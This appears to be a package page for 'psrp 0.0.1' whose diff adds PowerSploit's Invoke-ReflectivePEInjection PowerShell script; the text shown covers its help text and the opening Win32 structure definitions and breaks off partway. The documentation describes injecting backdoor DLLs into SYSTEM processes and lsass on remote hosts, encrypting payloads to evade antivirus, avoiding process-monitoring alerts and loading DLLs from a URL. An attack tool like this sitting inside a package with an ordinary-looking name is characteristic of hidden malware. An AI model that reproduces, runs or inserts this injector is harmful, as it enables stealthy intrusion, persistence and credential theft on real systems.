psrp 0.0.1

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,2952 @@
1
+ function Invoke-ReflectivePEInjection
2
+ {
3
+ <#
4
+ .SYNOPSIS
5
+
6
+ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
7
+ or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
8
+ please lead the Notes section (GENERAL NOTES) for information on how to use them.
9
+
10
+
11
+ 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
12
+ Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
13
+
14
+ This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
15
+ this will load and execute the DLL/EXE in to memory without writing any files to disk.
16
+
17
+
18
+ 2.) Reflectively load a DLL in to memory of a remote process.
19
+ As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
20
+
21
+ This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
22
+ from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
23
+ remote process.
24
+
25
+
26
+ While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
27
+ containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
28
+ bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
29
+ blog linked below (thanks to whitey).
30
+
31
+ PowerSploit Function: Invoke-ReflectivePEInjection
32
+ Author: Joe Bialek, Twitter: @JosephBialek
33
+ License: BSD 3-Clause
34
+ Required Dependencies: None
35
+ Optional Dependencies: None
36
+ Version: 1.4
37
+
38
+ .DESCRIPTION
39
+
40
+ Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
41
+
42
+ .PARAMETER PEPath
43
+
44
+ The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
45
+
46
+ .PARAMETER PEUrl
47
+
48
+ A URL containing a DLL/EXE to load and execute.
49
+
50
+ .PARAMETER PEBytes
51
+
52
+ A byte array containing a DLL/EXE to load and execute.
53
+
54
+ .PARAMETER ComputerName
55
+
56
+ Optional, an array of computernames to run the script on.
57
+
58
+ .PARAMETER FuncReturnType
59
+
60
+ Optional, the return type of the function being called in the DLL. Default: Void
61
+ Options: String, WString, Void. See notes for more information.
62
+ IMPORTANT: For DLLs being loaded remotely, only Void is supported.
63
+
64
+ .PARAMETER ExeArgs
65
+
66
+ Optional, arguments to pass to the executable being reflectively loaded.
67
+
68
+ .PARAMETER ProcName
69
+
70
+ Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
71
+
72
+ .PARAMETER ProcId
73
+
74
+ Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
75
+
76
+ .PARAMETER ForceASLR
77
+
78
+ Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
79
+ if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
80
+ loading in to a remote process.
81
+
82
+ .EXAMPLE
83
+
84
+ Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
85
+ Note that the file name on the website can be any file extension.
86
+ Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
87
+
88
+ .EXAMPLE
89
+
90
+ Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
91
+ Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
92
+
93
+ .EXAMPLE
94
+
95
+ Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
96
+ the wchar_t* returned by WStringFunc() from all the computers.
97
+ Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
98
+
99
+ .EXAMPLE
100
+
101
+ Load DemoEXE and run it locally.
102
+ Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
103
+
104
+ .EXAMPLE
105
+
106
+ Load DemoEXE and run it locally. Forces ASLR on for the EXE.
107
+ Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
108
+
109
+ .EXAMPLE
110
+
111
+ Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
112
+ Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
113
+
114
+ .EXAMPLE
115
+
116
+ Load a PE from a byte array.
117
+ Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
118
+
119
+ .NOTES
120
+ GENERAL NOTES:
121
+ The script has 3 basic sets of functionality:
122
+ 1.) Reflectively load a DLL in to the PowerShell process
123
+ -Can return DLL output to user when run remotely or locally.
124
+ -Cleans up memory in the PS process once the DLL finishes executing.
125
+ -Great for running pentest tools on remote computers without triggering process monitoring alerts.
126
+ -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
127
+ 2.) Reflectively load an EXE in to the PowerShell process.
128
+ -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
129
+ -Cleans up memory in the PS process once the DLL finishes executing.
130
+ -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
131
+ 3.) Reflectively inject a DLL in to a remote process.
132
+ -Can NOT return DLL output to the user when run remotely OR locally.
133
+ -Does NOT clean up memory in the remote process if/when DLL finishes execution.
134
+ -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
135
+ -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
136
+
137
+
138
+
139
+ DLL LOADING NOTES:
140
+
141
+ PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
142
+ If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
143
+ return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
144
+ remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
145
+ applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.
146
+
147
+ For DLL Loading:
148
+ Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
149
+ I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
150
+ the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
151
+ returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
152
+ wchar_t* : FuncReturnType = WString
153
+ char* : FuncReturnType = String
154
+ void : Default, don't supply a FuncReturnType
155
+
156
+ For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
157
+ using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
158
+
159
+ The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
160
+ WString : WStringFunc
161
+ String : StringFunc
162
+ Void : VoidFunc
163
+
164
+ These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
165
+ be declared as follows:
166
+ extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
167
+
168
+
169
+ If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
170
+ this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
171
+
172
+ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
173
+
174
+ .LINK
175
+
176
+ Blog: http://clymb3r.wordpress.com/
177
+ Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
178
+
179
+ Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
180
+ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
181
+ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
182
+
183
+ #>
184
+
185
+ [CmdletBinding(DefaultParameterSetName="WebFile")]
186
+ Param(
187
+ [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)]
188
+ [String]
189
+ $PEPath,
190
+
191
+ [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)]
192
+ [Uri]
193
+ $PEUrl,
194
+
195
+ [Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)]
196
+ [ValidateNotNullOrEmpty()]
197
+ [Byte[]]
198
+ $PEBytes,
199
+
200
+ [Parameter(Position = 1)]
201
+ [String[]]
202
+ $ComputerName,
203
+
204
+ [Parameter(Position = 2)]
205
+ [ValidateSet( 'WString', 'String', 'Void' )]
206
+ [String]
207
+ $FuncReturnType = 'Void',
208
+
209
+ [Parameter(Position = 3)]
210
+ [String]
211
+ $ExeArgs,
212
+
213
+ [Parameter(Position = 4)]
214
+ [Int32]
215
+ $ProcId,
216
+
217
+ [Parameter(Position = 5)]
218
+ [String]
219
+ $ProcName,
220
+
221
+ [Parameter(Position = 6)]
222
+ [Switch]
223
+ $ForceASLR,
224
+
225
+ [Parameter(Position = 7)]
226
+ $Credential
227
+ )
228
+
229
+ Set-StrictMode -Version 2
230
+
231
+
232
+ $RemoteScriptBlock = {
233
+ [CmdletBinding()]
234
+ Param(
235
+ [Parameter(Position = 0, Mandatory = $true)]
236
+ [Byte[]]
237
+ $PEBytes,
238
+
239
+ [Parameter(Position = 1, Mandatory = $true)]
240
+ [String]
241
+ $FuncReturnType,
242
+
243
+ [Parameter(Position = 2, Mandatory = $true)]
244
+ [Int32]
245
+ $ProcId,
246
+
247
+ [Parameter(Position = 3, Mandatory = $true)]
248
+ [String]
249
+ $ProcName,
250
+
251
+ [Parameter(Position = 4, Mandatory = $true)]
252
+ [Bool]
253
+ $ForceASLR
254
+ )
255
+
256
+ ###################################
257
+ ########## Win32 Stuff ##########
258
+ ###################################
259
+ Function Get-Win32Types
260
+ {
261
+ $Win32Types = New-Object System.Object
262
+
263
+ #Define all the structures/enums that will be used
264
+ # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
265
+ $Domain = [AppDomain]::CurrentDomain
266
+ $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
267
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
268
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
269
+ $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
270
+
271
+
272
+ ############ ENUM ############
273
+ #Enum MachineType
274
+ $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
275
+ $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
276
+ $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
277
+ $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
278
+ $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
279
+ $MachineType = $TypeBuilder.CreateType()
280
+ $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
281
+
282
+ #Enum MagicType
283
+ $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
284
+ $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
285
+ $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
286
+ $MagicType = $TypeBuilder.CreateType()
287
+ $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
288
+
289
+ #Enum SubSystemType
290
+ $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
291
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
292
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
293
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
294
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
295
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
296
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
297
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
298
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
299
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
300
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
301
+ $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
302
+ $SubSystemType = $TypeBuilder.CreateType()
303
+ $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
304
+
305
+ #Enum DllCharacteristicsType
306
+ $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
307
+ $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
308
+ $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
309
+ $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
310
+ $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
311
+ $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
312
+ $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
313
+ $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
314
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
315
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
316
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
317
+ $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
318
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
319
+ $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
320
+ $DllCharacteristicsType = $TypeBuilder.CreateType()
321
+ $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
322
+
323
+ ########### STRUCT ###########
324
+ #Struct IMAGE_DATA_DIRECTORY
325
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
326
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
327
+ ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
328
+ ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
329
+ $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
330
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
331
+
332
+ #Struct IMAGE_FILE_HEADER
333
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
334
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
335
+ $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
336
+ $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
337
+ $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
338
+ $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
339
+ $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
340
+ $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
341
+ $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
342
+ $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
343
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
344
+
345
+ #Struct IMAGE_OPTIONAL_HEADER64
346
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
347
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
348
+ ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
349
+ ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
350
+ ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
351
+ ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
352
+ ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
353
+ ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
354
+ ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
355
+ ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
356
+ ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
357
+ ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
358
+ ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
359
+ ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
360
+ ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
361
+ ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
362
+ ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
363
+ ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
364
+ ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
365
+ ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
366
+ ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
367
+ ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
368
+ ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
369
+ ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
370
+ ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
371
+ ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
372
+ ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
373
+ ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
374
+ ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
375
+ ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
376
+ ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
377
+ ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
378
+ ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
379
+ ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
380
+ ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
381
+ ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
382
+ ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
383
+ ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
384
+ ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
385
+ ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
386
+ ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
387
+ ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
388
+ ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
389
+ ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
390
+ ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
391
+ ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
392
+ ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
393
+ $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
394
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
395
+
396
+ #Struct IMAGE_OPTIONAL_HEADER32
397
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
398
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
399
+ ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
400
+ ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
401
+ ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
402
+ ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
403
+ ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
404
+ ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
405
+ ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
406
+ ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
407
+ ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
408
+ ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
409
+ ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
410
+ ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
411
+ ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
412
+ ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
413
+ ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
414
+ ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
415
+ ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
416
+ ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
417
+ ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
418
+ ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
419
+ ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
420
+ ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
421
+ ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
422
+ ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
423
+ ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
424
+ ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
425
+ ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
426
+ ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
427
+ ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
428
+ ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
429
+ ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
430
+ ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
431
+ ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
432
+ ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
433
+ ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
434
+ ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
435
+ ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
436
+ ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
437
+ ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
438
+ ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
439
+ ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
440
+ ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
441
+ ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
442
+ ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
443
+ ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
444
+ ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
445
+ $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
446
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
447
+
448
+ #Struct IMAGE_NT_HEADERS64
449
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
450
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
451
